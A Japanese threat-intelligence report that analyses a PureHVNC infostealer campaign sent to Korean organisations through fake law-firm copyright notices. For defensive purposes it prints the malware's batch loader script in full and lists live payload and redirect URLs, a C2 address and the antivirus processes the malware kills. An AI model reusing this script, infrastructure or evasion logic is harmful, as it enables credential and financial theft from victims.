本文へスキップ
Research & Insights

サンズラボは実際のサイバー脅威情報を継続的に収集・分析し、APTをはじめとする高度化攻撃の流れと文脈を追跡しています。 長期にわたり蓄積した大規模な脅威データとCTI運用経験をもとに、 マルウェア、攻撃インフラ、データ流出、AIセキュリティの課題を深く研究します。 実際の脅威から発見した変化と技術的分析結果を、Tech Reportを通じて共有します。

[5月|マルウェア分析レポート]韓国企業を標的とする偽の著作権通知メールによるPureHVNCの配布

2025年06月09日脅威分析

サンズラボの脅威分析チームは、毎月マルウェアを選定してレポートを作成しています。

サンズラボの脅威分析チームは、毎月マルウェアを選定してレポートを作成しています。

専門的な分析で把握したマルウェアの特徴、脅威の動向、関連情報などを共有し、安全なサイバー環境の実現を目指しています。

マルウェアの詳しい情報は、サイバー脅威インテリジェンスサービス<CTX>でご確認いただけます。



1. 概要

本レポートでは、2025年上半期にサンズラボが実際に受信した悪意のあるメールを基に、マルウェアの技術的詳細を分析します。

攻撃者は韓国の大手法律事務所を装い、外部リンクをクリックさせ、悪意のある圧縮ファイルのダウンロード・実行を促すソーシャルエンジニアリングを使いました。



[図1]攻撃者が送信した悪意のあるメール


単一のペイロードではなく、多段階の複合実行構造を採用しています。

PDFを装う実行ファイルから感染し、DLLサイドローディング、CMDスクリプト、Python環境の導入、悪意のあるスクリプト実行を経てPython製インフォスティーラーが動きます。ブラウザーのログイン情報、Cookie、自動入力、カード情報、Google認証トークン、FacebookのCookieなどを収集・圧縮し、TelegramメッセージAPIで外部チャンネルへ送ります。解析環境と判断したり収集できなかったりする場合は実行を中止する条件処理も備え、検知を回避します。


Python製インフォスティーラーの後、外部の暗号化ペイロードを取得してメモリ内で実行します。多層の復号・読み込みを経て.NET実行ファイルをロードし、PureHVNC系モジュールを動かします。システム固有識別子、ウイルス対策製品、ログインアカウント、OS、プロセスのパス、暗号資産ウォレット・2FAアプリの有無、カメラの有無などを収集します。データはProtobuf¹形式でシリアライズし、GZipで圧縮してTLS暗号化チャネルで攻撃者へ送ります。


メール流入、圧縮ファイルの構成、初期感染、個人情報の収集・送信、最終ペイロード実行までを段階別に分析しました。解析で得た通信経路、ファイル構造、実行条件から特徴とリスクを整理し、類似脅威への対応体制とIoCの確保に役立てることを目的とします。


¹ Protobuf(Protocol Buffers):Googleが開発したデータのシリアライズ形式。構造化データを効率よく符号化・送信するための設計で、一般的なテキスト形式より小さく高速で、多様な言語とプラットフォームに対応します。




2. マルウェア情報

2025年4月末に実際に受信したメールを分析し、多段階ペイロード構造を持つインフォスティーラーを確認しました。

件名は「공지 지식 재산권 침해 처리 통지서」(知的財産権侵害の処理通知)で、大手法律事務所の法的通知を装う本文から圧縮ファイルの取得を誘導していました。


圧縮ファイルには複数の実行・設定ファイルがありますが、拡張子と保護されたOSファイルを隠すWindows標準設定では、PDFアイコンの「검찰 수사 보고서.exe」しか見えません。属性を偽装し、説明、製品名、著作権をHaihaisoft PDF Reader、元のファイル名を市販リーダーのhpreader.exeとしています。C++製で外見は正規のPDFリーダーですが、内部に悪意のある処理を含みます。



[図2]검찰 수사 보고서 속성.exeの属性情報


同じ場所のversion.dllをサイドロードし、_ディレクトリのEvidence.docxを.cmdに変更して実行します。


CMDスクリプトはPDFを装うPython 3.10.11インストーラーDocument.pdfを実行し、Pythonを導入します。ユーザーには「ファイルを開けません」というエラーだけが表示されます。図は검찰 수사 보고서.exeの実行時のDocument.pdfエラーです。



[図3]검찰 수사 보고서.exe実行時のDocument.pdfエラー画面


導入後、CMDはimages.pngをC:\Users\Public\Windows\Libへコピーし、Telegramボットトークンを引数としてPythonで実行します。images.pngはローダーとして自動実行を登録し、Telegramページを解析して外部の.pycを取得、メモリでインフォスティーラーを実行します。


ブラウザーのログイン情報、Cookie、自動入力、カード情報、Google認証トークン、Facebook Cookieなどを収集し、TelegramメッセージAPIで送信します。


別の暗号化ペイロードを取得・復号してQekvcon_crypted.exeをドロップし、プロセスホロウイングで正規プロセスへ注入します。内部でEspbpn.exeをロードし、最終的にXovzm.dllをメモリへ読み込みます。両者は.NETアセンブリで、Xovzm.dllは詳細なシステム情報を収集・送信し、プラグイン取得による遠隔操作や追加命令の拡張機能も備えます。


ファイル名

説明と役割

검찰 수사 보고서.exe

初期実行ファイル、version.dllをロード

version.dll

サイドロードされるDLL、Evidence.docxを実行

Evidence.docx

CMDスクリプト、Document.pdfとimages.pdfを実行

Document.pdf

Python 3.10.11インストーラー

images.png

ローダースクリプト、第1のインフォスティーラーを取得・実行

infostealer.py(仮称)

第1のインフォスティーラー、情報収集・流出とペイロード実行

8fw7.py(仮称)

実行ファイルを復号してQekvcon_crypted.exeを実行

Qekvcon_crypted.exe

ペイロードローダー、Espbpn.exeを実行

Espbpn.exe

最終ペイロードローダー、Xovzm.dllをロード

Xovzm.dll

最終インフォスティーラー、情報収集・流出とプラグイン機能

[表1]マルウェア構成ファイルと役割


多様な実行技術とファイル形式で多段階感染を構成し、文書ソフトを装って実行を誘います。DLLサイドローディング、プロセスホロウイング、外部ペイロード取得、メモリ内復号・実行などを全体に使って検知を回避します。機能別にペイロードを分離し、解析を難しくするとともに柔軟な拡張を可能にしています。




3. マルウェアの動作順序

韓国の大手法律事務所を装うメールでマルウェアを配布します。

本文には法的違反の通知を装う文章と「調査報告書」ボタンがあります。クリックすると複数のHTTPリダイレクトを経て위반사항 조사파일 내 문서.zipを取得します。内部のPDFアイコンを装う검찰 수사 보고서.exeを実行すると、同じ場所のversion.dllをサイドロードし、_\Evidence.docxを.cmdへ変更して実行します。


Evidence.cmdはDocument.pdfを実行してPython 3.10.11を導入します。完了後、images.pngをC:\Users\Public\Windows\Libへコピーし、ボットトークンを引数としてPythonで実行します。


images.pngは悪意のあるPythonスクリプトで、Telegramの<meta>タグから命令識別子を取得し、短縮URLからテキストのペイロードを読み込みます。.pycバイトコードをメモリで実行し、本レポートではinfostealer.pyと呼びます。



[図4]動作フロー(メール配布→Python製インフォスティーラーのドロップ)


infostealer.pyはログイン情報、Cookie、自動入力、カード情報、Googleトークン、Facebook Cookie、グローバルIP、国、ウイルス対策製品一覧を収集します。ZIPに圧縮しTelegram APIで外部へ送った後、収集ファイルとZIPを削除します。


最後に指定のテキストペイロードを取得・復号し、.pyc形式の8fw7.pyをメモリへ読み込んで実行します。



[図5]動作フロー(infostealer.py)


8fw7.pyはハードコードされたデータを展開・復号してQekvcon_crypted.exeを抽出し、正規のRegAsm.exeにホロウイングで注入します。そこから.NETのEspbpn.exe、最終ペイロードXovzm.dllを順にロードします。DLLはウイルス対策、アカウント、OS、パス、ウォレット・2FAアプリ、カメラなどの情報を収集し、TLSで送ります。


その後、攻撃者の命令を受信してプラグインで機能を拡張し、遠隔コード実行などの追加動作が可能です。



[図6]動作フロー(8fw7.py→PureHVNCインフォスティーラー)




4. マルウェア分析

4.1. 悪意のあるメールの配布

韓国の大手法律事務所をかたる悪意のあるメールを送信します。

実際の事務所の公式サイトには同様のなりすまし犯罪が続いているとの案内があり、実在組織の信用を悪用していることが分かります。



[図7]Bae, Kim & Lee LLCのなりすまし注意喚起ポップアップ

* 出典:法律事務所太平洋の公式サイト


法的違反の通知を装い、事件関連文書の確認を求めます。下部のPDF形式の「調査報告書」ボタンから複数のHTTPリダイレクトでファイル共有サイトへ移動します。



[図8]悪意のあるメール本文


まずhttps://tr.ee/nnXda2に接続し、https://goo.su/EOTSvIへリダイレクトされます。

続いてhttps://kiteaero.net?u=https://www.mediafire.com/file/v7a5luie9jbqeui/위반사항+조사파일+내+문서.zip/fileへ移り、最終的にMediafireから위반사항 조사파일 내 문서.zipを取得します。



[図9]ボタンクリック後の多段階リダイレクト


実際の法的文書を装う構成で、ユーザーが疑わず開くよう誘導します。

Windows標準設定では검찰 수사 보고서.exeのみ表示されます。「保護されたOSファイルを表示しない」を解除すると、vcruntime140.dll、version.dll、_サブディレクトリも確認できます。



[図10]展開後に標準設定で見えるディレクトリ構成


_内にはDocument.pdf、Evidence.docx、images.png、Invoice.pdfがあり、いずれも正規文書を装う悪意のある構成要素です。実行ファイルの存在を気付かせない典型的なソーシャルエンジニアリングです。



[図11]隠しディレクトリの内容


4.2. Python製インフォスティーラー

4.2.1. 初期感染とペイロードのドロップ

검찰 수사 보고서.exeを実行するとversion.dllをサイドロードし、Evidence.docxをEvidence.cmdへ変更して実行します。



[図12]MoveFileWによるファイル名変更


Evidence.cmdには次の命令があり、Python導入と悪意のあるスクリプトの実行環境を自動構成します。

@echo off

cd /d "%~dp0"

explorer "Document.pdf"

Document.pdf /quiet TargetDir="C:\Users\Public\Windows" InstallAllUsers=0 Include_doc=0 Include_dev=0 Include_tcltk=0 Include_test=0 Include_launcher=0 Include_lib=1 Include_pip=1 Include_symbols=0 Shortcuts=0 AssociateFiles=0 CompileAll=0

copy "images.png" "C:\Users\Public\Windows\Lib"

C:\Users\Public\Windows\python.exe -m pip install pefile pycryptodome requests websocket-client pywin32 pyasn1

start "" /min "C:\Users\Public\Windows\python.exe" C:\Users\Public\Windows\Lib\images.png "MRB_EJ5rzJUt9L_bot"

Document.pdfは正規のPythonインストーラーと同じSHA-256を持つ実行ファイルで、PDFに見せかけていました。



[図13]Document.pdfとpython.exeのSHA-256比較


導入したPythonでimages.pngを実行すると、次の動作を行います。


① レジストリ登録による永続性の確保

HKCU\Software\Microsoft\Windows\CurrentVersion\RunにWindows Update Serviceを追加し、バックグラウンドで動くPython命令を登録します。



[図14]images.pngが作成した自動実行レジストリ


② 外部ペイロードの実行

Telegramのメタ情報og:descriptionから命令識別子mt7csjr4を取得し、https://is.gd/mt7csjr4へ接続します。https://paste.rs/3P12Fに転送され、ペイロードを取得・実行します。



[図15]Telegramの命令識別子



[図16]paste.rs上の難読化されたPythonペイロード


images.pngは単なるローダーにとどまらず、Python導入、自動実行の構成、外部命令による動的ペイロード取得を担います。取得した.pycバイトコードを逆アセンブル・追跡して分析し、infostealer.pyと命名して以下で説明します。


まず%TEMP%配下にコンピューター名を基にした収集用フォルダーを作成します。名前がDESKTOP-EXAMPLEなら、C:\Users<사용자>\AppData\Local\Temp\DESKTOP-EXAMPLEに似たパスです。全データを項目別のサブディレクトリに保存します。


ブラウザーはChromium系とGecko系に分け、保存構造と暗号方式に合わせた異なる手段で抽出します。


4.2.2. ブラウザーCookieの収集

Chromium系のCookieを抽出します。82個のハードコードされたパスを確認し、実際に存在するブラウザーだけを対象にします。一覧は次のとおりです。

Chromium, Thorium, Chrome, Chrome Beta, Chrome Dev, Chrome SxS, Maple, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Vivaldi Snapshot, Kometa, Elements, Epic, Uran, Fenrir, Catalina, Coowon, Liebao, QIP, Orbitum, Dragon, 360Browser, 360Browser Secure, Maxthon, Maxthon Nitro, K-Melon, CocCoc, Brave, Brave Beta, Brave Nightly, Amigo, Torch, Sputnik, Edge, Edge Beta, Edge Dev, Edge SxS, DCBrowser, Yandex, Yandex Beta, UR Browser, Slimjet, Opera, Opera Beta, Opera Developer, Opera GX, Opera GX Beta, Opera Crypto, Opera Neon, Speed360, QQBrowser, QQBrowser Mini, Sogou, Naver, Naver Beta, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Pale Moon, Basilisk, SuperBird, Comodo IceDragon, Atom, GhostBrowser, SalamWeb, Blisk, Fluent, Neon, Cyberfox, Waterfox, WhiteHat Aviator, RockMelt, CoolNovo, QtWeb, Titan Browser

最大2スレッドを並列実行し、異なるブラウザーのCookieを収集します。Local Stateのos_crypt内encrypted_keyをBase64デコードし、CryptUnprotectDataでマスターキーを復号して機密データに使用します。



[図17]マスターキーの復号手順


キー取得後、ブラウザーをHeadlessで起動し、9000~9999のランダムなデバッグポートを開きます。http://localhost:<포트>/jsonからデバッガーのWebSocketアドレスを取得します。


Storage.getCookiesでメモリ内のCookieをリアルタイムに抽出します。SQLiteへ直接アクセスしないため検知を回避できます。特定ドメインを加工し、.facebook.comのc_userを含むCookieはFacebook_Cookies.txtに分けて保存します。


値はログイン中のFacebookアカウントの識別子で、セッションの乗っ取りや侵入に直結します。ads.google.comのCookieは広告追跡用ですが、仮想環境の判断指標にも使われます。



[図18]Cookieのフィルタリング処理


%TEMP%の固有フォルダー内Cookies Browserへ、브라우저명_프로필명.txtという名前でブラウザーごとに保存します。


Gecko系も同様に扱います。16種のハードコードされたパスから、実際に存在するものを対象にします。一覧は次のとおりです。

Firefox, Firefox Nightly, Pale Moon, SeaMonkey, Waterfox, Mercury, K-Meleon, IceDragon, Cyberfox, BlackHaw, Basilisk, Firefox ESR, Flock, SlimBrowser, CometBird, GNU IceCat

各プロファイルのcookies.sqliteを開き、moz_cookiesからドメイン、パス、名前、値、セキュリティ属性、有効期限を抽出してCookies Browserへ保存します。.facebook.comのc_userやads.google.comにも同じ処理を適用し、主要ブラウザー系統のCookieを網羅します。


4.2.3. ブラウザーログイン情報の収集

保存済みのログイン認証情報も収集し、平文へ復号します。

Chromiumではプロファイル内のLogin DataまたはLogin Data For Accountを探し、loginsテーブルからURL、ユーザー名、暗号化パスワードを抽出します。先に取得したマスターキーで復号します。



[図19]Chromiumログインデータの抽出


%TEMP%配下のAll_Passwords.txtにブラウザー、プロファイル、URL、ユーザー名、復号パスワードを保存し、パスワードのみのWord_List.txtも作成します。


Gecko系はlogins.jsonにJSON形式で保存します。

ユーザー名とパスワードはASN.1構造とTriple DESによる暗号文をBase64化したものです。設定先からキーデータを取得し、復号キーと初期化ベクトルを生成してDES復号します。

Chromiumと同様、All_Passwords.txtとWord_List.txtへ保存します。


幅広い保存認証情報を抽出し、メール、SNS、ポータル、金融サービスなどへの追加侵害に利用できます。


4.2.4. クレジットカード情報の収集

ブラウザーに保存されたカード情報を収集します。

Chromiumのみが対象で、Web Dataのcredit_cardsテーブルから名義、有効期限、暗号化カード番号、最終更新時刻をSQLで選び、マスターキーでカード番号を復号します。



[図20]カードデータ抽出処理


復号した情報を%TEMP%の固有フォルダー内Credit Cardsへ保存します。

브라우저명_프로필명.txtにカード名、番号、有効期限、追加時刻を保存します。平文のカード情報は複製や不正決済など、直接の金銭被害に悪用されます。


4.2.5. 自動入力情報の収集

ブラウザーの自動入力(Autofill)も収集します。

Webフォームの氏名、電話、住所、メール、会社名などです。Web Dataのautofillテーブルからフィールド名と値を抽出し、順に保存します。


%TEMP%の固有フォルダー内AutoFillsに브라우저명_프로필명.txtとして記録します。気付かず長期保存され、多くは平文のため、実名、住所、連絡先、会社などの身元情報を容易に入手できます。


Geckoにも一部機能がありますが、構造や保護方式が異なり、主要情報が暗号化されないか保存されないことも多いため、この機能はChromiumに集中しています。


4.2.6. Google認証トークンの収集

Googleアカウントへのアクセス権を得るため、ChromiumのWeb Dataにあるtoken_serviceを照会します。サービス名と、主にセッション維持用refresh tokenを含む暗号化トークンがあり、各行をマスターキーで復号します。invalid_refresh_token以外なら有効とみなして保存します。



[図21]Googleトークンの抽出処理


%TEMP%の固有フォルダー内Google Chrome Tokenへ、브라우저명_프로필명.txtとしてサービス名と復号値を保存します。Gmail、Drive、YouTubeなどへのログインに使え、乗っ取りの危険性が高くなります。Google認証の統合が普及する中、広範な侵害への重要な経路となります。


4.2.7. 収集結果の集計と実行条件の判断

収集後、ログイン情報、Cookie、カード情報、Googleトークン、Facebook CookieごとにChromiumとGeckoの件数を合計し、実行環境を評価します。



[図22]収集件数の集計処理


次の場合は実行を中止します。

- ログイン情報と自動入力が両方ともない

- ログイン中のアカウント名がWDAGUtilityAccount



[図23]プログラムの終了条件


WDAGUtilityAccountはWindows Defender Application Guardの特殊アカウントで、仮想化サンドボックスの可能性が高い環境です。直ちに終了して検知・解析を回避し、無駄なリソース消費を防ぎ、一般ユーザー環境でのみ本格的に動作します。


4.2.8. IPと位置情報の収集

外部IPから被害者の地域とネットワーク環境を把握します。

https://ipwho.is/?output=jsonのJSONからIP、国コード、国名、国旗絵文字を抽出してTelegramメッセージに含めます。地域分布、特定国への攻撃成果、VPNやプロキシの使用などを判断できます。



[図24]IP情報の抽出処理


APIの失敗や例外時はN/Aを設定して継続します。IP情報は環境の詳細分析や攻撃戦略の調整に使われます。


4.2.9. 導入済みウイルス対策情報の抽出

導入済み製品を確認し、回避戦略や標的選定に利用します。

Windows Management Instrumentation(WMI)でroot\SecurityCenter2にアクセスし、AntiVirus

Productから製品一覧を照会します。


各displayNameを収集してTelegramに含め、防御レベルや個別の回避コード、優先的に避ける環境を判断します。



[図25]ウイルス対策製品一覧の抽出


一般ユーザーと企業環境の区別や、強化されたネットワークへの侵入の分析にも使います。


4.2.10. 収集情報の圧縮

送信前に全データを圧縮し、国コード、IP、コンピューター名を含む[KR_123.45.67.89] DESKTOP-EXAMPLE.zipのような名前にします。TEMP配下の固有フォルダーを再帰的に処理し、Cookie、ログイン、カード、自動入力、Googleトークンの構造を保持します。



[図26]圧縮ファイル作成処理


メモリストリームでZIPを生成し、コメントに作成時刻とhttps://t.me/LoneNoneを記載します。受信者との直接の関係は見られず、作者のタグやビルダー情報の可能性があります。攻撃者と作者が別人の場合もあり、署名やツールの出所と解釈できます。



[図27]圧縮ファイルのコメント


4.2.11. Telegramチャンネル経由の送信

圧縮データをTelegramメッセージAPIで外部チャンネルへ送ります。

設定済みのボットトークンとチャンネルIDで、システム情報・収集集計とともにアップロードします。送信前に、システム識別子からUUID5で固定名を生成した%PUBLIC%配下のカウンターを確認します。感染ごとに1増やし、初回・再感染に応じてチャンネルとメッセージ形式を切り替えます。



[図28]感染回数カウンターの作成と更新


初回はCHAT_ID_NEW_NOTIFYへ情報通知後、CHAT_ID_NEWへZIPを送り、再感染ではメッセージなしでCHAT_ID_RESETへZIPのみ送ります。新規感染をリアルタイムに把握し、システムごとの流出情報を分離管理できます。



[図29]感染状況によるTelegram送信の分岐


メッセージには以下の項目が含まれます。

IP

外部IPアドレス

Country

国旗絵文字、国コード、国名

User

現在のログインユーザー名

AntiVirus

ウイルス対策製品名またはUnknown

Browser Data: CK

収集したCookie数

Browser Data: PW

収集したログイン情報数

Browser Data: AF

収集した自動入力件数

Browser Data: CC

収集したカード情報数

Browser Data: TK

収集したGoogle認証トークン数

Browser Data: FB

収集したFacebook Cookie数

Browser Data: GADS

広告Cookieの有無

[表2]Telegramメッセージ内の収集情報


送信後、収集データと関連する痕跡を削除します。

TEMPの固有フォルダーを再帰削除し、ZIPがあればそれも削除します。感染の隠蔽、解析回避、証拠隠滅を目的とする処理です。



[図30]送信後の収集フォルダーとZIP削除


4.2.12. 追加ペイロードの取得と実行

収集・送信後、https://0x0.st/8fw7.txtからペイロードをメモリで即実行します。別の実行ファイルを作らないファイルレス技術で、検知回避に有利です。



[図31]外部テキストペイロードの取得・実行


0x0.stは誰でもファイルやテキストを投稿でき、事実上アクセス制御や保護がない公開プラットフォームです。自前のC2を運営せず配布でき、インフラ検知の回避や静的解析による検知の無効化に利用されます。


この段階が、情報窃取を超えた追加感染、機能拡張、継続的制御の起点になります。


4.3. PureHVNCインフォスティーラー

4.3.1. 後続ペイロードのドロップ

送信後、https://0x0.st/8fw7.txtを取得し、base85デコード、Zlib展開、RSA・AES・XOR・RC4の順の復号で.pycバイトコードを生成します。8fw7.pyと命名して分析しました。



[図32]8fw7ペイロード


8fw7.pyには暗号化PEとキーがあり、RC4で復号して正規のRegAsm.exeへプロセスホロウイングで注入します。



[図33]RegAsm.exeのプロセスホロウイング構造


8fw7.pyはtasklistでプロセスを探索し、以下のウイルス対策プロセスがあれば停止します。

bdagent.exe, ProductAgentService.exe, AvastUI.exe, wsc_proxy.exe, afwServ.exe, aswEngSrv.exe, NortonSvc.exe, avgsvcx.exe, avgsvc.exe, avguard.exe, avshadow.exe, avscan.exe, sched.exe, avcenter.exe, avmailc.exe, avwebgrd.exe, avgnt.exe, avira.servicehost.exe

注入されたPEは.NETのQekvcon_crypted.exeで、XORキーで内部ペイロードを復号し、メモリで実行します。


続くEspbpn.exeがXovzm.dllをロードし、PureHVNC_Lib.DistributionのDistributorCreator()を呼ぶことで最終インフォスティーラーを起動します。



[図34]Espbpn.exeからXovzm.dllをロードするコード


4.3.2. 通信環境の構成

ロード後、Xovzm.dllはまずハードコードされた文字列を復号します。

Base64文字列にはGZIP圧縮バイナリがあり、デコード・展開で独自のProtobuf構造のRoleResponderを生成します。復元したフィールドや構造の名前は実機能と無関係で、命令や通信設定を含みます。


BuildPublisherにはBase64化したX.509証明書があり、デコードしてTLSに使用します。暗号化通信により一般的なC2検知から隠します。



[図35]ハードコードされた文字列


復元したオブジェクトの内容は次のとおりです。

フィールド名

値

ReceiveGroupedReceiver

107.178.110.167

WriteReadableStream

56001, 56002, 56003

BuildPublisher

Base64化されたX.509証明書

ReceiveScopeReceiver

APPDATA

CollectSimpleDecryptor

ミューテックス識別子6031e38d46ff

[表3]復元したオブジェクトのフィールドと値


設定を読み込み、ReceiveGroupedReceiverの107.178.110.167にポート56001~56003を順に試してTCP接続します。SslStreamと復号したBuildPublisher証明書でTLSチャネルを構成し、以後すべての通信を攻撃者のサーバー証明書による暗号化チャネルで送受信します。


C2の内容を識別しにくくし、通常の通信との区別を困難にします。構成後、本格的な情報収集を始めます。


4.3.3. システム情報収集オブジェクトの生成

通信設定後、Xovzm.dllはシステム情報をRoleResponderへ保存します。

独自のProtobuf構造で情報を一定のフィールドに分類します。名前は実機能と無関係で、保存データは次のとおりです。

フィールド名

説明

SetActiveVerifier

導入済みウイルス対策製品名

GetModularHandler

システム固有識別子:CPU/RAM/HDD IDとユーザー名のMD5

PlanField

カメラ装置の有無

AccessTransformableService

現在のユーザー名[コンピューター名]

GetVisibleChain

現在のアカウントの権限グループ

GetEditableFormatter

固定バージョン文字列4.1.9

AccessCustomizableManager

OS名とビット数

CheckEfficientCollector

整数値4

GetGeneralClient

ウォレットやTelegramなどの導入一覧

GetIsolatedProject

最終入力からの経過時間(Xd Yh Zm As形式)

GetAdvancedAnalyzer

通信設定の固定値Default

SetIterableContext

実行中プロセスの完全なパス

[表4]収集情報オブジェクトのフィールドと説明


SetActiveVerifierにはウイルス対策製品名を保存します。

WMIでroot\SecurityCenter2のAntiVirusProductを照会し、displayNameをカンマで結合します。事前定義した回避対象との比較や、後続ペイロードを実行するかの判断に利用できます。


PlanFieldはカメラの有無です。Win32_PnPEntityのPNPClassがImageまたはCameraの装置を探し、1つ以上ならtrue、なければまたはエラー時はfalseにします。ハードウェア把握やWebカメラ付きノートPCなどの対象選別に使えます。


GetGeneralClientはウォレットやTelegramなどの有無を保存し、資産保有の可能性や窃取優先度の判断に使います。


収集は以下の5つの方法で行います。


① ブラウザー拡張IDによる検出

主要ブラウザーのユーザーデータで、ハードコードした拡張IDフォルダーの存在から導入を判断します。対象は次のとおりです。

TronLink, MetaMask, Binance Chain Wallet, Yoroi, Jaxx Liberty, BitApp Wallet, iWallet, Terra Station, BitClip, EQUAL Wallet, Wombat, Nifty Wallet, Math Wallet, Guarda, Coin98 Wallet, Trezor Password Manager, EOS Authenticator, Authy, GAuth Authenticator, Authenticator, TezBox, Cyano Wallet, Exodus Web3, BitKeep, Coinbase Wallet, Trust Wallet, XDEFI Wallet, Phantom, MOBOX WALLET, XDCPay, ICONex, Solana Wallet, Swash, Finnie, Keplr, Liquality Wallet, Rabet, Ronin Wallet, ZilPay, MetaMask, Exodus Web3, Trust Wallet, Braavos Smart Wallet, Yoroi, MetaMask, Guarda Wallet, BitKeep, Waves Keeper


② ローカルデスクトップアプリの検出

インストール先やデータ保存先を確認します。対象はElectrum、Exodus、Ethereum、Atomic Wallet、Telegramです。


③ レジストリによる検出

導入時のレジストリキーや値から保存先を確認します。strDataDirがあり、実際のファイルへつながれば導入済みと判断します。対象はBitcoin-Qt、Dash-Qt、Litecoin-Qtです。


④ その他の導入パス検出

Ledger LiveとFoxmailは固定パスやルートに導入されるため、直接探索します。


4.3.4. 収集情報の送信

情報を格納したRoleResponderをProtobufへシリアライズし、バイト配列をGZip圧縮して転送量を抑えます。


送信は次の2方式です。

- 1MB以下は一括送信。

- 1MB超は内部バッファ16KB単位に分割してストリーミング送信。


107.178.110.167:56001~56003のTCP上のSSLチャネルを使い、各断片の送信可否を確認します。Poll()で状態を監視し、一定時間応答がなければ中断して例外処理から復旧処理へ進みます。



[図36]収集情報の送信処理


4.3.5. プラグインの受信と実行

別スレッドでC2から命令オブジェクトをプラグインとして取得し、ソケットで受信すると直ちにメモリで処理・ロードします。


まず4バイトの長さ情報を受信し、そのサイズに一致するデータを取得します。GZIP展開とProtobuf逆シリアライズでRoleResponder命令へ復元し、種類に応じて分岐します。



[図37]プラグイン取得・実行処理


通常のプラグイン命令ならRemoveModularWriterをキーとし、HKEY_CURRENT_USER\Software[시스템 고유값]へ値を保存・照会します。


保存値は.NETアセンブリを符号化したもので、復元・展開して直接メモリへロードします。最初のpublicクラスの最初のpublicメソッドへシリアライズデータを渡して自動呼び出しし、柔軟な遠隔コード実行を可能にします。ただし、解析環境では有効なプラグインを受信できませんでした。


C2は全リクエストへ常に同じ22バイトを返しました。GZIPを展開しても、実行可能な命令や意味のあるデータはありませんでした。


PureHVNCという名前空間と構造の類似から、同系統との関連が考えられます。この系統はRemoteDesktopやpluginExecutingなどで遠隔操作や命令実行を行うことで知られます。


同様の機能を備える可能性は高いものの、解析時はロードされず確認できませんでした。C2の命令が一時停止しているか、特定条件でのみ有効になる可能性があります。全実装の有無は断定できませんが、明確なロード・実行処理があるため、正常な命令を受信すれば高度な動作につながる可能性があります。



[図38]Xovzm.dll名前空間のPureHVNC文字列




5. 収集・流出する情報

区分

詳細

対象プログラム・技術

ブラウザー

- Cookie(Facebookのc_user値、Google広告Cookieの有無)

- ログイン(名前、パスワード、アプリ)

# Chromiumブラウザー

Chromium, Thorium, Chrome, Chrome Beta, Chrome Dev, Chrome SxS, Maple, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Vivaldi Snapshot, Kometa, Elements, Epic, Uran, Fenrir, Catalina, Coowon, Liebao, QIP, Orbitum, Dragon, 360Browser, 360Browser Secure, Maxthon, Maxthon Nitro, K-Melon, CocCoc, Brave, Brave Beta, Brave Nightly, Amigo, Torch, Sputnik, Edge, Edge Beta, Edge Dev, Edge SxS, DCBrowser, Yandex, Yandex Beta, UR Browser, Slimjet, Opera, Opera Beta, Opera Developer, Opera GX, Opera GX Beta, Opera Crypto, Opera Neon, Speed360, QQBrowser, QQBrowser Mini, Sogou, Naver, Naver Beta, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Pale Moon, Basilisk, SuperBird, Comodo IceDragon, Atom, GhostBrowser, SalamWeb, Blisk, Fluent, Neon, Cyberfox, Waterfox, WhiteHat Aviator, RockMelt, CoolNovo, QtWeb, Titan Browser

# Geckoブラウザー

Firefox, Firefox Nightly, Pale Moon, SeaMonkey, Waterfox, Mercury, K-Meleon, IceDragon, Cyberfox, BlackHaw, Basilisk, Firefox ESR, Flock, SlimBrowser, CometBird, GNU IceCat

- カード情報(名前、有効期限、番号、保存時刻)

- Googleトークン(サービス名、値)

- 自動入力(名前、値)

# Chromiumブラウザー

Chromium, Thorium, Chrome, Chrome Beta, Chrome Dev, Chrome SxS, Maple, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Vivaldi Snapshot, Kometa, Elements, Epic, Uran, Fenrir, Catalina, Coowon, Liebao, QIP, Orbitum, Dragon, 360Browser, 360Browser Secure, Maxthon, Maxthon Nitro, K-Melon, CocCoc, Brave, Brave Beta, Brave Nightly, Amigo, Torch, Sputnik, Edge, Edge Beta, Edge Dev, Edge SxS, DCBrowser, Yandex, Yandex Beta, UR Browser, Slimjet, Opera, Opera Beta, Opera Developer, Opera GX, Opera GX Beta, Opera Crypto, Opera Neon, Speed360, QQBrowser, QQBrowser Mini, Sogou, Naver, Naver Beta, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Pale Moon, Basilisk, SuperBird, Comodo IceDragon, Atom, GhostBrowser, SalamWeb, Blisk, Fluent, Neon, Cyberfox, Waterfox, WhiteHat Aviator, RockMelt, CoolNovo, QtWeb, Titan Browser

ユーザーの

位置データ

- IP

- 国コード

- 国名

- 国旗絵文字

https://ipwho.is APIを利用

導入済み

ウイルス対策製品

- root/SecurityCenter2のウイルス対策製品名

WMIによる検出

導入済み

プログラム

- プログラムの導入有無

# ブラウザー拡張型ウォレット

Binance Chain Wallet, BitApp Wallet, BitClip, BitKeep, Coin98 Wallet, Coinbase Wallet, Cyano Wallet, EQUAL Wallet, Exodus Web3, Finnie, Guarda, iWallet, ICONex, Jaxx Liberty, Keplr, Liquality Wallet, Math Wallet, MetaMask, MOBOX WALLET, Nifty Wallet, Phantom, Rabet, Ronin Wallet, Solana Wallet, Swash, TezBox, Terra Station, TronLink, Trust Wallet, Trezor Password Manager, Waves Keeper, Wombat, XDCPay, XDEFI Wallet, Yoroi, ZilPay

# デスクトップ・レジストリベースのウォレット

Atomic Wallet, Electrum, Ethereum, Exodus, Jaxx Liberty, Zcash, Bitcoin-Qt, Dash-Qt, Litecoin-Qt, Ledger Live

# 2FA・認証アプリ

Authenticator, Authy, Braavos Smart Wallet, GAuth Authenticator, Trezor Password Manager, EOS Authenticator

# その他のクライアント

Telegram, Foxmail

カメラ装置

- Win32_PnpEntityのPNPClassがImageまたはCameraの装置の検出有無

WMIによる検出

システム情報

- 現在のログインユーザー名

- コンピューター名

- ログインアカウントの権限

- OS種別とビット数

- ユーザー入力の非活動時間

- マルウェアの実行パス





6. 結論

韓国の企業、機関、大学などに著作権侵害通知を装うメールで配布された、高度なインフォスティーラーです。リンクから多段階転送で圧縮ファイルを取得し、PDFを装う実行ファイルから感染します。ソーシャルエンジニアリングと視覚的偽装を組み合わせた実行誘導は、国内外の攻撃で繰り返し見られる手法です。


